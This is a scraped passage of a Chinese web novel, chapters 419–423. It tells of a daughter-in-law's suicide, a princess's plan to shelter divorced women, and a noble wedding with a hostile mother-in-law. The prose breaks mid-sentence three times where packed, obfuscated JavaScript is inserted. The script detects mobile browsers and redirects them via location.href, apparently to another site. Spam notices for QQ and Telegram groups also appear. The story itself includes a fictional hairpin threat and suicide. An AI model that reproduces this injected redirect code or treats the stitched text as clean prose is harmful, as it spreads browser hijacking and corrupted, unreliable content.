谢翊宁眼前不由浮现起昨日盯梢的暗卫回来给自己描绘的场景。
……
院子里。
邓如意将压在洪氏脖子上的簪子往下压了压,洪氏的脖子立刻渗出了血珠,洪氏吓得吱哇乱叫。
邓如意不在乎,她死死盯着永昌伯。
“伯爷,你若想要洪氏活着,那便答应我,之后对外宣称邱彦之是急病暴毙。你也不想安安和元元日后顶着一个母杀父的名头长大吧?”
永昌伯气得浑身发抖,手指着邓如意:“你这个毒妇!!!”
纵使次子再不成器,他也没想过让他**,只是想着打发他回乡下去。
他万万没想到,自己派人恭敬将邓如意请回来,却害**自己的儿子。
邓如意惨笑一声:“毒妇?那倒比不上你夫人。”
“你若不答应我,我便将你们邱家如何纵子行凶,又如何逼死原配,这母子二人又如何刻薄寡恩的丑事,一桩桩、一件件,写成诉状,在我死后让我的丫鬟拿到衙门口去敲登闻鼓!”
“到时候,我要让全京城的人都看看你这永昌伯府是个什么藏污纳垢的好地方!”
永昌伯脸色铁青,气得说不出一句话来。
邓如意顿了顿,看向自己面色惨白的父母,语气缓了缓,却带着决绝:“爹,娘,女儿不孝。但今日若你们还认我这个女儿,就替我做个见证。”
“若伯爷不答应我的请求,那我便鱼死网破!我邓如意杀一个够本,杀两个赚一个,临死拉上你们邱家全族的清誉陪葬。看看是你们邱家的名声金贵,还是我这条早就活够了的命金贵。”
丁氏听到这话,早已泪流满面:“我的傻如意,娘错了,娘不该让你回来的。你说得对,这就是虎狼窝。呜呜呜呜。”
邓绥也没想到向来孝顺公婆的女儿会被逼到杀夫君弑婆母的这一步。
他知道女儿无论如何都活不成了。
他点了点头,哑着嗓子看向了永昌伯。
“伯爷,安安和元元日后要想有好前程,那就绝不能有一个杀夫的母亲。为了他们,你也该答应如意的请求。”
永昌伯简直就是被架在火上烤。
他恨恨地看着邓如意,心里极不情愿。
但他也知道,若是这事传出去,孙儿以后的前途就都没了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283648|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>邓如意见他不吭声,直接将簪子在洪氏的脸上划了一道印迹。
洪氏尖叫了起来。
“你这个毒妇,你真的是疯了!!!”
“疯?”邓如意歪着脑袋看向了洪氏,轻轻一笑。
“我数三声。一是我死,邱家名声扫地,你的孙儿将来在世上抬不起头!二是你点头,保全我的名声,随后我自行了断,咱们从此两清!你选!”
“三、二……”
没等她把“一”数出来,永昌伯便抢在洪氏面前答应了下来。
“我同意!”永昌伯咬牙切齿。
若邓如意一块**,他还有法子遮掩一二,但要是再带上他的夫人,那一晚上死三个人,怎么都说不过去了。
“爹,你写份契约书,让伯爷签字。从今往后,他们必须要一视同仁的待安安和元元好。你和娘亲要常来看他们。若他们违背了誓言,你们便将我提前写好的绝笔信拿去官府,就说洪氏母子谋害了我。”邓如意看向了父亲。
“你竟敢颠倒黑白?”永昌伯目瞪口呆。
像是第一次认识这个儿媳妇。
洪氏刚想张口骂她贱妇,又想起了脸上火辣辣的伤口,还是憋屈的闭上了嘴。
邓绥知道女儿这是在托孤,噙着泪点头同意。
最终永昌伯还是签了契书。
邓如意看他签完契书,手上的力道一松,推开了洪氏。
她整理了一下凌乱的衣衫和鬓发,甚至用手帕细细擦去了脸上的血迹,动作从容得不像将死之人。
她转向自己的父母,深深一拜:“女儿拜别父亲、母亲。养育之恩,来世再报。”
说完,她不再看任何人,转身走进了屋内,将门栓反锁。
“不,不要——!”丁氏意识到女儿要做什么,哭声凄厉,直接倒在了夫君的怀里。
邓绥红着眼眶,抱紧了夫人。
随后听到了屋内传来凳子倒地的声音。
约莫过了一刻钟,永昌伯才让人撞开了房门。
丁氏看到女儿悬梁自尽的那一幕,当场就晕了过去。
第419章 王妃好极了
众人听完了邓如意自缢的全经过,都忍不住沉默了。
棠云婋重重叹了一口气:“可惜了。”
她这话打破了花厅里的沉默。
双鲤忍不住悄悄询问:“衔蝉姐姐,那她为什么不和离呢?就一定要走到这一步不可吗?”
“女子和离哪是那么简单的事。”衔蝉叹了一口气。
“很难吗?对方若不同意,把他打一顿让他同意和离不就好了吗?”双鲤依旧不解,眼里带着一丝丝天真。
衔蝉:“……”
她怎么感觉双鲤这丫头被郡主和九栀给教歪了。
郡主有勇有谋,舍得一身剐,敢把仇人拉下马,无论和离还是被休弃,都不会过得太差。
当然,他们家郡主也不会被休,多半只有她休别人的份。
九栀武力高强,即便没有夫家,也可以自行去找出路。
但不是所有的女子,都和他们一样,有能力可以脱离夫家自立门户的。
她温和地看向双鲤:“女子和离归家,即便不是她的错,她也会成为周围人指指点点的对象。”
“如果娘家家境不富裕,那她的处境会非常艰难,会被人当作累赘。她只能依附父兄嫂子或者弟弟弟媳生活,看人眼色。”
双鲤这才明白,没那么简单是什么意思。
她那向来带着笑意的小脸蛋上,浮现出了罕见的忧愁。
一旁的棠云婋听完了二人的对话,眼睛忽然亮了起来。
她看向谢翊宁:“王爷,你说我将山庄后山那片给守庄仆役和堆放杂物的旧院子拿出来给那些和离后的妇人居住如何?”
若是那些和离的妇人有了容身之所,立足之地,或许她们就不会像邓如意那样……
被逼到走投无路,最后只能选择最惨烈的法子,用性命去做最后一搏。
谢翊宁知道她不是无的放矢之人,询问道:“婋婋有何打算?有什么需要我帮忙的吗?”
棠云婋见他没有直接否认自己的想法,而是问她有什么需要帮忙的,心底涌起一阵暖意和甜意。
好像有王爷在身边,她便可以永远这般畅所欲言,无所顾忌。
反正总有他在后边给她撑腰,她想做什么都可以。
她忍不住在桌底下,悄悄握住了谢翊宁的手,将自己的想法说了出来。
“后山有现成的泉眼,水质好,周围地也肥。我们可以在那儿辟几块菜地,搭个暖棚,种些精细的时蔬瓜果。”
“城里各大酒楼饭庄,或者贵人家里,每年冬日里为一口新鲜绿菜不知要费多少银钱和周折。我们这有温泉水汽滋养,地气也暖,就算入了冬,产出些韭黄、嫩芹、晚瓜正正好。”
“届时让那些愿意来的妇人们帮着料理菜地,照看暖棚。这是手上活计,不累人,也无需抛头露面。”
“我们按日给工钱,或是计件算酬,让她们实实在在有份收入。若有无处可去的,修整好的院子便借给她们暂住。”
“若是有干不惯农活的,会读书识字的,也可以请她们来当女夫子,教那些妇人识字。多识字,也不容易上当受骗。”
双鲤听着,忍不住兴奋了起来:“我如今也识得很多字了,我可以去给她们当夫子吗?”
棠云婋笑着点了点头:“当然可以。”
一旁的九栀默默道:“你不是还想当郡主身边的第一大丫鬟么,跑去教人识字,郡主谁伺候?”
双鲤一想,对哦,她还得留在郡主身边伺候呢!
她思考片刻,回答道:“那我就等休息的时候,偶尔去一下。”
衔蝉看着自家郡主,眼里都是亮光:“郡主这法子这比直接施舍强百倍。她们凭劳力挣钱,腰杆也能挺得直。”
棠云婋点了点头:“没错。这样在外人看来,也只当我这郡主心思巧,弄了个专供高端酒楼的小菜园,不会过多联想到别处,免得给她们平添压力。”
她若是大张旗鼓地宣扬收留和离妇人,难免会被推至风口浪尖,引来无数非议与揣测。
那些自诩清流的御史言官,必定会闻风而动,参她一个“聚拢弃妇、煽动阴逆、有伤风化”的罪名。
届时,不仅她本人声名受损,更会连累王爷,皇后等人受非议。
毕竟她已经是皇家准儿媳。
更重要的是,那些本来打算前来寻求安身立命的妇人们,还没得到喘息的机会,便会先被冠上“郡主门下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288192|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弃妇”的标签,成为众人茶余饭后指指点点的谈资。
她们本想悄悄寻一条活路,却反而因她的举动而被彻底暴露在众目睽睽之下,承受更猛烈的流言蜚语。
这和她的初衷简直就是背道而驰。
因此,此事必须要做得像春雨一般润物细无声。
她想要做的就是为后来那些可能成为“邓如意”的女子,亲手凿开一扇生门。
谢翊宁看着她侃侃而谈的模样,眼里满是欣赏。
他未来的王妃,可真是心善又聪慧,这样好的法子也能想得出来。
他点了点头,悄悄捏了捏棠云婋的手心,称赞道:“婋婋此法甚好。不显山不露水,投入不大,却能从根上解决她们的吃用和银钱问题,长远又稳妥。”
顿了顿,他又道:“你这庄子里可有懂农事的老师傅?若是没有,我让傅叔给你挑两个送过来。”
他这一问,可谓是问到了点子上。
棠云婋不确定,抬头看向了衔蝉。
衔蝉忙道:“有的。”
听到她这话,棠云婋点了点头:“那到时候让老师傅去后山看看哪片地最合适,然后让虞管事估算出修整院落、搭建暖棚的本钱。”
随后又看向了九栀:“九栀,你悄悄去打听,京中可有因和离归家、精通农事或是肯吃苦耐劳却无处可去的妇人。我们先找一两个可靠的,让她们来帮着打理,工钱给足。”
“一切细水长流,总会聚沙成塔。”
“是。”九栀当即应了下来。
*
祝家。
祝夫人也得知了邱彦之夫妇双双暴毙的消息。
原本她是不知道,但耐不住街头巷尾都在传,而且还把她的女儿给牵扯了进去,就这么传到了她耳边。
“真是晦气。”她忍不住骂了一句。
这家伙活着影响女儿的名声,**还要牵累女儿。
早死晚死不行,非要死在女儿大婚前两日。
不是晦气是什么。
“娘,您说什么呢,什么晦气?”祝红玉听到母亲嘀咕,忍不住询问。
她这两日听了裴明镜的话,安心待嫁,大门不出二门不迈,压根不知道外边发生了什么事情。
第420章 裴明镜大婚
“没什么。”祝夫人笑着将这事糊弄了过去。
马上就是女儿的大喜之日了,她不想让女儿因为这事烦心。
祝红玉见母亲不说,便也没有继续追问。
横竖也不会是什么大事。
眨眼就到了九月二十五。
天朗气清,惠风和畅,是个极好的日子。
祝家院子里早就挤满了人,锣鼓敲得震天响,热闹不已。
祝夫人心里涌上了一丝丝酸涩,更多的是尘埃落定的踏实。
她看着穿上大红嫁衣的女儿,眼圈红了又红。
她知道这个时候该笑,但嘴角却怎么都扬不起来。
二十三了,京城里多少姑娘家这个岁数都儿女绕膝了,而她的红玉,终于要嫁人了。
“红玉。”祝夫人拿着梳子,手有点抖,一边按着老规矩给她梳头,一边念叨了起来。
“到了卫国公府可不比在家里,万事忍着些。娘瞧着,裴世子是个好的,你、你要和他好好的……”
说到最后,她的声音都带上了哽咽。
祝红玉端坐在镜前,脸上敷着厚厚的粉,胭脂也盖不住她微微发红的眼眶。
她没哭,只是用力抿着嘴,听着母亲的话重重点头:“娘,我知道的。”
外面鞭炮声噼里啪啦炸开,迎亲的队伍到了。
祝祷穿着一身崭新的袍子,背着手在厅里来回踱步。
听到外面的动静,他的脚步顿了顿,终究还是没出去,只是重重叹了口气。
女儿嫁不出去,他烦。
女儿嫁出去了,他也烦。
想到从今往后,再也不能一回到家就见到女儿,他心里就难受。
全福夫人笑着给祝红玉盖上了大红盖头,搀扶着她走到正堂。
裴明镜已经到了,他顺势站在祝红玉的右侧。
按照规矩,新人需要拜别高堂。
祝红玉跪在蒲团上,朝着上首的父母,深深叩下头去。
这一拜,她的肩膀控制不住地抖了一下。
七年了。
从十六岁到二十三岁,她在这个家里,从待嫁的少女熬成了旁人嘴里的老姑娘。
不知道让爹娘跟着受了多少白眼,听了多少闲话。
她吸了口气,颤抖着开口:“女儿拜别父亲、母亲。多年养育之恩,红玉铭记在心。”
“往后不能常在膝下尽孝。望父亲、母亲……千万保重身体!”
说完便给他们磕了一个头。
额角轻轻抵在冰凉的地面上,她久久没有起身。
一旁的裴明镜看着祝红玉,心底浮起一丝恍惚。
他真的要成亲了啊。
这场亲事,于他而言,是责任,是承诺,或许……
也是一个全新的开始。
他敛了敛心神,也跟着跪下,声音沉稳又郑重:“岳父、岳母大人在上,请受小婿一拜。从今往后,我对红玉必当珍之重之,护她周全,不使她受半分委屈。请二老放心。”
祝夫人再也忍不住,用手帕捂着嘴哭出了声。
祝祷眼眶发红。
他偏过头去,用力眨了眨眼,确认眼泪别回去,这才回过头哑着嗓子道:“都是好孩子,起来吧。”
“红玉,到了夫家,谨守妇道,孝顺公婆。与世子……好好过日子。”
“是。”祝红玉哽咽地答应了下来。
全福夫人赶紧上前将祝红玉扶起,随后将一段中间扎着大红绣球的红绸带塞到了她手中。
而另一端则交给了裴明镜。
祝青锋努力举着红伞,等候在门口。
按照规矩,家中无长兄,便由弟弟执伞送姐出嫁。
祝青锋努力挺直小小的身板,手里举着一把红油纸伞,踮着脚,试图稳稳地罩在姐姐头顶。
声音还带着些许稚气,说出来的语气却格外稳重:“姐姐,莫怕。我送你出门。”
听着弟弟的话,祝红玉鼻子又是一酸。
她轻轻“嗯”了一声。
就这样,祝青锋举伞引路,裴明镜手执红绸,引着另一端的祝红玉,一步步向厅外走去。
原本还有拦门的仪式,但祝家不希望婚事有变,提前声明了谁也不许阻拦裴明镜来接亲。
故而裴明镜迎亲之行十分顺利。
祝红玉上了花轿,裴明镜骑上了戴着大红花的白马,走在了最前头。
花轿稳稳抬起,摇摇晃晃地朝着卫国公府而去。
轿子里的祝红玉听到弟弟带着哭腔的大喊:“姐姐,别怕,若有人欺负你,我给你撑腰。”
她忍了许久的眼泪,在这一刻潸然落下。
听着外边喧天的锣鼓声,她慢慢挺直了脊背。
她已经嫁给裴明镜,没有回头路了。
不管前方的卫国公府是龙潭还是虎穴,她都得去闯一闯。
*
花轿落地,喜娘唱喏。
裴明镜利落地翻身下马,去迎下花轿的祝红玉。
全福夫人将红绸另一端重新交给裴明镜,让二人一块完成进门的仪式。
“新娘子跨火盆,日子红红火火!”
“新娘子跨马鞍,以后夫妻都平安!”
进门抵达正堂。
堂上高坐着裴明镜的三位长辈。
窦淑荣坐在最中间,眼神带着挑剔。
裴二老爷和裴二夫人坐在旁边,脸上带着和蔼又高兴的笑。
司仪高喊:“一拜天地——”
裴明镜与祝红玉转身,向外叩拜。
“二拜高堂——”
两人转向堂上三位长辈叩拜。
窦淑容看着祝红玉,心底全是火。
她这样好的儿子,最后竟然娶了一个家世远不如国公府,身上还带着一桩不光彩旧闻的老姑娘?
她眼里的不屑几乎要溢出来了。
她故意端坐着,在祝红玉拜下去的时候,用恰好能让周围几人听见的声音,轻轻“啧”了一声。
裴二老爷和裴二夫人的笑容顿在了脸上,变得有些尴尬。
周围的宾客似乎也察觉到了什么,气氛瞬间有些微妙。
祝红玉盖头下的身体微微一僵。
大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午!
第421章 送入洞房了
裴明镜瞥了母亲一眼。
他什么都没说,甚至多余的表情也没有。
但窦淑容却看懂了他眼神里的含义。
他让她适可而止。
被裴明镜警告之后,窦淑容脸上那点刻意摆出的冷淡瞬间维持不住了,只得悻悻地点了点头,算是完成了受礼。
裴明镜这才收回目光,仿佛什么都没发生。
司仪显然也感觉到了这电光火石间的交锋,赶紧提高声调掩盖住这一刻的尴尬:“夫妻对拜——”
两人转身,相对而立。
祝红玉稳住心神,与裴明镜一同对拜下去。
“礼成,送入洞房!”
*
入夜。
前院的喧嚣渐渐散去,裴明镜招待宾客结束回到了新房。
他身上带着淡淡的酒气,但眼神清明,不见丝毫醉态。他在新房外站了站,片刻功夫后,才抬手推门而入。
屋内,红烛已燃了大半。
祝红玉依旧穿着那身繁复的嫁衣,端坐在床边。
听到门响,她下意识地挺直了背,交叠放在膝上的手也不自觉地收紧,目光看向了门口的裴明镜。
两人四目相对。
伺候的丫鬟婆子当即识趣地退下,屋内只剩下他们二人。
空气仿佛一下子变得粘稠而安静,只能听到烛火轻微的噼噼啪啪声。
裴明镜一步一步走向了祝红玉。
他的脚步声在寂静的房间里显得格外清晰。
祝红玉感觉他的脚步声和自己的心跳声重合了,她愈发紧张了。
没想到,裴明镜竟然在她面前几步远的地方停下,没有立刻靠近她。
“抱歉,让你久等了。”他开口,声音似乎是因为饮酒,显得比平日略显低沉和沙哑。
“确实是有点久。”祝红玉下意识地脱口而出。
傻愣愣地坐在喜床上,可把她给累坏了。
话出口,祝红玉顿时有些懊恼。
她这么说怎么显得好像有点埋怨他似的?
又是一阵短暂的沉默。
裴明镜的目光在她脸上停留片刻,似乎想说什么,但最终只是道:“时辰不早了,安置吧。”
祝红玉的心猛地跳快了几拍。
出嫁前娘教过她了,她知道接下来会发生什么。
她深吸一口气,努力维持着镇定,低低应了一声:“好。”
她站起身来,看向裴明镜:“可要我替世子更衣?”
“不必了,我习惯自己来。”裴明镜婉拒。
随后转过身去,将身上的喜服外袍脱去,只剩下了一身深色的中衣,更衬得肩宽腰窄,身形挺拔。
脱完之后,他回过头,发现祝红玉还在艰难地拆卸发间剩余的那些小巧精致的首饰。
她的动作有些慢,指尖甚至带着一丝不易察觉的颤抖。
铜镜里模糊地映出她微红的脸颊和他的身影。
裴明镜看着她笨拙却又强作镇定的动作,略一思索,还是上前一步。
“可要我帮忙?”
“不、不必了,我自己可以。”祝红玉顿时有些结巴。
听到这话,裴明镜收回了自己的手,静静站在一旁等待。
祝红玉却误以为他是嫌自己动作太慢,心下不由有些着急。
这一着急,手上便失了章法。
她急于取下脑后一支缠绕得较紧的珍珠发簪,用力一扯。
“嘶……”
头皮骤然一痛,她忍不住低呼出声,那发簪非但没取下,反而更深地勾缠住了几缕发丝,扯得她眼泪都腾出来了。
她正手忙脚乱,一只骨节分明的手从她肩后伸了过来,精准地轻轻按住了她吃痛的地方。
祝红玉身体一僵,从镜中看到裴明镜不知何时已站在了她身后,微微俯身,他的身影几乎将她整个笼罩。
那股清洌的气息混合着淡淡的酒意,瞬间将她包围。
“别动。”他的声音自她头顶传来,低沉而平稳。
祝红玉立刻不敢再乱动,只觉得被他指尖触碰到的头皮肌肤一阵发麻,连呼吸都屏住了。
裴明镜的动作很轻,他小心地避开了她被扯痛的发根,耐心地、一点点地将勾住的发丝解脱出来。
替她摘下这支发钗时,他的手指不可避免地触碰到了祝红玉的肌肤。
祝红玉脸颊不受控制地迅速升温,连脖颈都染上了一层薄红。
她死死盯着镜中那个专注地为自己解着发簪的俊美侧影,心跳快得几乎要撞出胸腔。
整个过程很短,但在祝红玉的感受里却漫长无比。
终于,那支不听话的珍珠发簪被轻轻抽离。
“好了。”他直起身,将发簪放在妆台上,语气依旧平淡,仿佛只是完成了一件微不足道的小事。
“多谢。”祝红玉红着脸道谢。
“还要帮忙吗?”裴明镜指着她身上繁复的嫁衣。
“不,真不用了!”光是想想裴明镜帮她脱衣服的场景祝红玉感觉自己整个人都要烫熟了。
“好。”裴明镜没有勉强,点了点头,先躺回了床上。
祝红玉好半天才把嫁衣脱好,露出了一身雪白的中衣。
她吹熄了大部分蜡烛,只留下床头一对小小的喜烛继续燃烧,磨蹭地走到了床的另一侧,小心翼翼地掀开被子的一角,躺了下去。
两人并排躺着,盖着同一条锦被,却仿佛隔着一条无形的楚河汉界。
祝红玉全身僵硬,盯着帐顶模糊的绣纹,连呼吸都放得很轻。
良久,她听到身边传来一声极轻的叹息。
随后,一只温热的手掌轻轻覆上了她紧紧交握、放在小腹上的手。
祝红玉浑身一颤,像被烫到一般,差点要弹起来。
但那只手却握得很稳,带着不容置疑的力道,但也并不急切,只是缓缓地、一根一根地、掰开她紧攥的手指,然后与她十指相扣。
他的掌心干燥而温暖,完全包裹住她有些发凉的手指。
“可以吗?”耳边传来了裴明镜的询问。
祝红玉知道他在问什么,但她现在脑海里乱成了一团解不开的线团。
若她分出一点心神来仔细听,就会发现裴明镜貌似平静下的声音,带着一丝紧张。
“若你没准备好,那就先睡吧。”裴明镜继续道。
祝红玉听着他这话,顾不得矜持和紧张,立刻翻身抱住了他。
“我好了。”
祝红玉脱口而出。
今夜若不圆房,明日婆婆还不知道要怎么挑刺呢。
这都拜过天地躺在一张床上了,他们是名正言顺的夫妻,迟早都是要圆房的。
与其拖到之后,还不如就现在呢。
祝红玉死死抱着裴明镜,僵硬得手脚都不知道该怎么放。
就在她以为裴明镜不想继续之时,身下的他轻轻应了一声:“好。”
随后他轻轻抬手按住了她的脑袋,吻住了她的唇。
祝红玉脑子瞬间一片空白。
她不记得自己到底是怎么从裴明镜身上下来的,后来又是怎么被裴明镜压在身下的。
她迷迷糊糊,甚至不记得究竟是什么时候结束的。
等她再一次睁开眼睛时,天已经亮了。
想起昨晚那些混乱而羞人的记忆,祝红玉脸颊发烫,猛地坐起身。
原本睡在她身边的裴明镜不知道去了何处。
她的目光下意识地看向了床上的元帕,却发现上边洁白如新,什么也没有。
祝红玉如遭雷击,整个人都僵住了。
大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午!
第422章 落红与贞洁
怎么会没有落红?
祝红玉的脑子一片混乱。
出嫁前,娘亲教导过她,女子新婚之夜落红方能证明自己的贞洁。
裴明镜一大早就不在身边,难不成是没看到落红觉得她并非完璧,所以愤然离去?
就在她惴惴不安之时,换好衣裳的裴明镜推门而入。
祝红玉下意识地伸手想把那方元帕藏起来。
裴明镜的目光自然而然的就落在祝红玉微微颤抖的手上。
见裴明镜盯着她手里的元帕,祝红玉慌忙起身,想解释,却不知从何说起。
她本就退过一桩婚事,如今又没落红,裴明镜若是怀疑她,她该如何自证她的清白?
祝红玉长这么大以来,第一次这么无助。
被退婚时,她知道爹娘会护着她,所以不怕。
但如今,她若再被送回娘家,爹娘又该如何自处?
想到那些流言蜚语,她的眼泪控制不住,啪嗒就落了下来。
“怎么哭了?”裴明镜上前,递给了她一方帕子。
“我……”祝红玉哽咽着,心里一片委屈,不知道该从何说起。
“为了它?”裴明镜见她死死攥着那方元帕,一瞬间猜到了她在想什么。
他将元帕从祝红玉手里拿了回来,随后淡定地拿了一把**,划破了指尖,轻轻将一抹红痕印到了元帕上。
“你,你这是在做什么?”祝红玉眼泪止住了,不解地看着裴明镜。
裴明镜语气十分平静:“我曾担任过京兆尹,审理过诸多案件,其中不乏民间**。故而知晓女子是否有落红,与贞洁并无绝对干系。”
祝红玉错愕又惊喜地看着他。
他竟然连这样的事情都知道?!
裴明镜又道:“医书有记载,女子体质各异。有人因气血旺盛,初次或许不易见红;更有甚者,因习武强身,筋骨舒展,亦无此迹。此皆寻常,并非怪异之事。”
他的声音不高,仿佛在陈述一件再平常不过的事情,瞬间驱散了祝红玉心中大半的恐惧和羞耻。
他看着她,眼神里没有半分怀疑:“你自幼活动筋骨多于寻常闺阁女子,没有落红,实属正常。”
祝红玉怔怔地看着他,心头的恐惧渐渐被一种难以言喻的暖流所取代。
她没想到,裴明镜不仅相信她,还解释得这么详细来安抚她。
她忽然又有些想落泪了。
裴明镜见她情绪稍定,这才将目光转向手里沾了血迹的元帕,轻声道:“只是世上愚昧之人太多,此事还需做戏。”
“只要世子信我便好,旁人我不在乎。”祝红玉破涕为笑。
“你是我的妻子,我自是信你。”
他随口一说,却让祝红玉的心湖泛起了一片涟漪。
裴明镜看向她:“时辰不早了,让丫鬟伺候你更衣梳洗。等会儿得先去祠堂给父亲上香。”
“好。”祝红玉赶紧把自己的陪嫁丫鬟叫了进来。
梳洗完毕后,两人一块去了祠堂。
卫国公府祠堂肃穆,走进去,祝红玉下意识地放轻了呼吸。
两人对着裴家列祖列宗和已故老卫国公的牌位郑重行礼叩拜。
祭拜结束之后,两人这才去正厅给长辈敬茶请安。
窦淑容早已端坐在主位,即便心里不满,但想着儿子昨日警告的眼神,见到走过来的两人,她还是堆起了笑。
只是那笑容十分虚伪,笑意不达眼底。
一旁坐着的是裴二老爷一家。
“给母亲请安,给二叔、二婶请安。”祝红玉依礼奉上茶。
窦淑容接过茶,沾了沾唇就放了回去。
她从腕上摘了个水头一般的玉镯子递过去,语气平平:“嫁到卫国公府来,往后你要安分守己,好生伺候世子。”
旁边的裴二夫人看着大嫂送的东西,抿了抿唇。
大嫂这个正经婆婆送的东西这般不值钱,他们二房准备的要好得多,这可如何是好。
好在临行前,女儿让她把镯子用锦盒装了起来,说那样好看。
不然待会真是要尴尬了。
祝红玉脸色不变,恭恭敬敬地接过镯子应了声是。
反正裴明镜已经给了她很多新首饰当陪嫁了,婆婆给的成色一般就一般吧。
裴二夫感觉气氛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289077|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些微妙,笑着打圆场:“大嫂,您看这新媳妇多俊俏,和明镜站在一起,真真是一对璧人。”
窦淑容不耐烦地瞥了她一眼,二弟妹搞什么,净说些她不爱听的。
但裴明镜在场盯着,她只得挤出一个笑,僵硬地点点头:“弟妹说的是。”
裴二夫人将一个沉甸甸的锦盒塞进祝红玉手里,亲切地拍拍她的手背。
“好孩子,这是二婶和你二叔的一点心意,往后就是一家人了,缺什么短什么,或是有什么不惯的,可以差人来跟我说。”
“多谢二叔二婶。”祝红玉笑着道谢。
二房释放出来的善意,让她心里松快了不少。
这时,站在裴二夫人身后的裴芜站了出来,冲祝红玉规规矩矩福了一礼:“裴芜见过堂嫂。”
她旁边还有个十二三岁的少年,好奇地瞅着祝红玉,也跟着拱手:“裴光岳给堂嫂请安。”
祝红玉忙回礼。
寒暄了几句,窦淑容瞧着二房对祝红玉那热络劲儿,心里越发不痛快。
一个娘家没什么用的从四品,也值得他们巴结?
她看向裴明镜,露出一抹慈爱的笑:“明镜啊,你如今既已成家,这袭爵的事宜也该抓紧了。”
“不如你现在就和你二叔去书房斟酌斟酌?拟个请旨的奏折。毕竟这可是头等大事,马虎不得。”
裴明镜一听就知道母亲是什么意思,不就是想支开他么。
他淡淡道:“请旨的奏折我早就拟好了,等红玉归宁后,我再请旨。”
窦淑容脸上的笑容顿时僵住了。
儿子不走,她怎么单独和祝红玉说话。
祝红玉在一旁瞧着母子俩交锋,心下稍安。
这么看来,裴明镜和他母亲的关系还真是够恶劣的。
想必很快就可以把这个爱摆臭架子的婆婆送回老家了。
她不开口掺和,可窦淑容依旧没打算放过她。
见裴明镜那边说不通,窦淑容脸上那点强挤出来的慈爱笑容彻底挂不住了。
她转向祝红玉,语气冷漠又不容拒绝:“我们婆媳俩说点体己话可好?”
第423章 大战恶婆婆
祝红玉还没来得及回答,裴明镜就先开口了。
“母亲有什么体己话,不妨在此直言。红玉初来乍到,府中规矩人事尚未熟悉,我和二婶在一旁听着,也好随时提点,免得她日后行差踏错,失了国公府的体面。”
这话说得冠冕堂皇,滴水不漏,直接把窦淑容“单独教导”的路给堵死了。
窦淑容被儿子这毫不留情的顶撞气得脸色铁青。
她沉下脸道:“明镜,你这是什么意思?难道我作为婆婆,还不能单独跟自己儿媳妇说几句话了?你是怕我吃了她不成?”
裴明镜神色不变:“母亲言重了。儿子只是觉得,既是一家人何必屏退左右,徒惹猜疑。”
“你!”窦淑容猛地一拍桌面,茶盏哐当作响。
“我是你母亲!你为了一个刚进门的女人顶撞于我,你的孝道呢?”
母子二人剑拔弩张,气氛陡然紧张起来。
一旁裴二老爷赶紧站起来打圆场:“哎哟,大嫂您消消气!明镜不是那个意思,他这也是爱护新妇。小两口新婚燕尔,黏糊些也是常理嘛。”
他一边说一边给裴明镜使眼色,想让自己这个大侄儿别那么犟。
见他无动于衷,又赶紧看向祝红玉,示意她也出来说两句。
裴二夫人也急忙上前,柔声劝道:“是啊,大嫂。明镜媳妇刚过门,许多事确实不清楚,我们在一旁帮着听听也好。你别太生气。”
“我能不生气吗?他这分明是有了媳妇忘了娘!”有人来劝,窦淑容更来劲了,她抹着帕子呜呜地哭诉了起来。
裴二老爷和裴二夫人对视一眼,都看到了彼此眼中的痛苦和无奈。
裴芜和弟弟裴光岳站在后边,都不敢吭声,低着头看都不敢看一眼。
有爹娘顶在前边,他们还是不要上前冲锋陷阵了。
免得帮不上忙,还让大伯母把邪火发到他们身上。
祝红玉看着维护自己的裴明镜,心下一甜。
她不能让裴明镜因为自己背上“不孝”的名声。
反正窦淑容没多久就要被送走了,她忍她两天又何妨。
再者,她也不太希望裴明镜在现场。
万一待会她忍不住顶嘴,说些难听的话,被裴明镜听到了,多影响他们夫妻的感情啊。
于是她凑到裴明镜耳边,小声道:“不如就让我听听母亲说什么吧。她只要不说得太难听,我会左耳进右耳出,绝对不会让你为难的。”
裴明镜想到若新婚第一天母亲就被气病,对祝红玉名声也不好。
他想了想,点头道:“既是如此,那我在门外等你。”
祝红玉摇头:“不必,我可是未来的国公夫人,这点小事,我能处理好的。”
她这句话让裴明镜怔了一瞬,唇角掠过一抹快得几乎看不到的笑意。
“好。我相信你。”
随后,裴明镜看向了窦淑容:“母亲要和红玉说体己话,那便说吧。”
